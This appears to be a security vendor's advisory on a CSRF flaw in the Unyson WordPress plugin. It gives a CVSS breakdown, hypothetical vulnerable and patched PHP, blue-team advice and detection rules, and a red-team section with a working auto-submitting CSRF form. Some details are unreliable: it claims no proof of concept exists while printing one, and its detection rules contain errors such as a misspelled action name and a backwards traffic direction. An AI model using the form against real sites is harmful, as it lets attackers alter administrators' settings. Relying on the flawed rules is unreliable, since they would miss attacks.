CVE-2024-34814

Executive Summary

CVE-2024-34814 is a Cross-Site Request Forgery (CSRF) vulnerability in the Brizy Unyson WordPress plugin, affecting versions up to and including 2.7.29. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious configurations, without their consent. The vulnerability is classified as a WordPress ecosystem issue, as it resides within a plugin designed for the WordPress content management system. With a CVSS score of 5.4 (Medium), the risk is elevated due to the potential for privilege escalation or site defacement when combined with other vulnerabilities. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown, making this a significant concern for unpatched installations.

Supply Chain & Package Security

This vulnerability affects the Unyson plugin, which is distributed through the WordPress plugin repository and bundled with Brizy themes. As a WordPress plugin, it is part of a supply chain where updates are managed via the WordPress dashboard. The lack of a patch or advisory from the vendor increases the risk of supply chain attacks, where malicious actors could exploit unpatched installations to compromise websites.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need prior authentication.
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U) – The exploit cannot affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: Low (I:L) – Limited modification of data or settings.
• Availability Impact: None (A:N) – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the potential for chaining with other vulnerabilities (e.g., stored XSS) could elevate the risk. The lack of a patch and public exploit increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability stems from a missing or insufficient CSRF token validation in the Unyson plugin’s administrative functions. CSRF attacks exploit the trust a website has in a user’s browser by forging requests from an authenticated session. In this case, an attacker can craft a malicious link or embed a request in a third-party site that, when clicked by an authenticated WordPress admin, performs actions like modifying plugin settings, importing malicious configurations, or enabling backdoors.

The affected component is likely the plugin’s settings page or import/export functionality, which does not verify the origin of requests. The vulnerability is present in all versions up to 2.7.29, and the vendor has not released a patch or acknowledged the issue publicly.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve adding a nonce (CSRF token) check to all administrative actions. Below is an example of vulnerable and patched code patterns.

Vulnerable Code (PHP):

// In admin-ajax.php or settings page
function unyson_save_settings() {
    // No CSRF check
    update_option('unyson_settings', $_POST['settings']);
    wp_die('Settings saved.');
}
add_action('wp_ajax_unyson_save_settings', 'unyson_save_settings');

Patched Code (PHP):

function unyson_save_settings() {
    // Verify CSRF nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'unyson_save_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('unyson_settings', $_POST['settings']);
    wp_die('Settings saved.');
}
add_action('wp_ajax_unyson_save_settings', 'unyson_save_settings');

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a WordPress instance with Unyson <= 2.7.29. Create an admin user.
2. Craft Exploit: Create an HTML page that auto-submits a form to the vulnerable endpoint.

   <html>
   <body>
   <form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
       <input type="hidden" name="action" value="unyson_save_settings">
       <input type="hidden" name="settings" value="malicious_config">
   </form>
   <script>document.getElementById('csrf_form').submit();</script>
   </body>
   </html>
   

3. Deliver Payload: Host the HTML page and send the link to the admin (e.g., via email or social engineering).
4. Outcome: The admin’s browser executes the request, modifying plugin settings without their knowledge.

Blue Team (Defense & Detection)

• Monitor Logs: Check WordPress debug logs for unexpected admin-ajax.php requests.
• CSRF Tokens: Ensure all admin forms include nonces. Use plugins like "Nonce Manager" to audit.
• User Training: Educate admins to avoid clicking suspicious links while logged in.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=unyon_save_settings or similar.
  • Referer headers from external domains in admin-ajax.php requests.
• File IOCs:
  • Modified wp-content/plugins/unyson/unyson.php or settings files.
  • New files in wp-content/uploads/ with suspicious content.
• Log IOCs:
  • Repeated 200 responses to admin-ajax.php from non-admin IPs.
  • User agent strings indicating automated tools (e.g., "curl", "python-requests").

Detection Engineering

YARA Rule

rule CVE_2024_34814_CSRF_Unyson {
    meta:
        description = "Detects CSRF exploitation attempts against Unyson plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34814"
    strings:
        $ajax_action = "unyson_save_settings"
        $csrf_form = "action=\"unyson_save_settings\""
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-34814 Unyson CSRF Exploitation
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-ajax.php with Unyson actions
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=unyson"
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-34814 Unyson CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=unyson"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the Unyson plugin if not critical.
   • Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=unyson* from external referers.
   • Use a CSRF protection plugin (e.g., "WP Security Audit Log") to enforce nonces.

2. Long-term Fix:

   • Monitor the vendor’s website for a patch. If none is released, consider forking the plugin and adding CSRF checks manually.
   • Replace the plugin with an alternative (e.g., "Brizy" native features).

3. Detection:

   • Deploy the YARA, Sigma, and Suricata rules above.
   • Enable WordPress audit logging to track admin actions.

Valters IT
Securing digital frontiers with precision.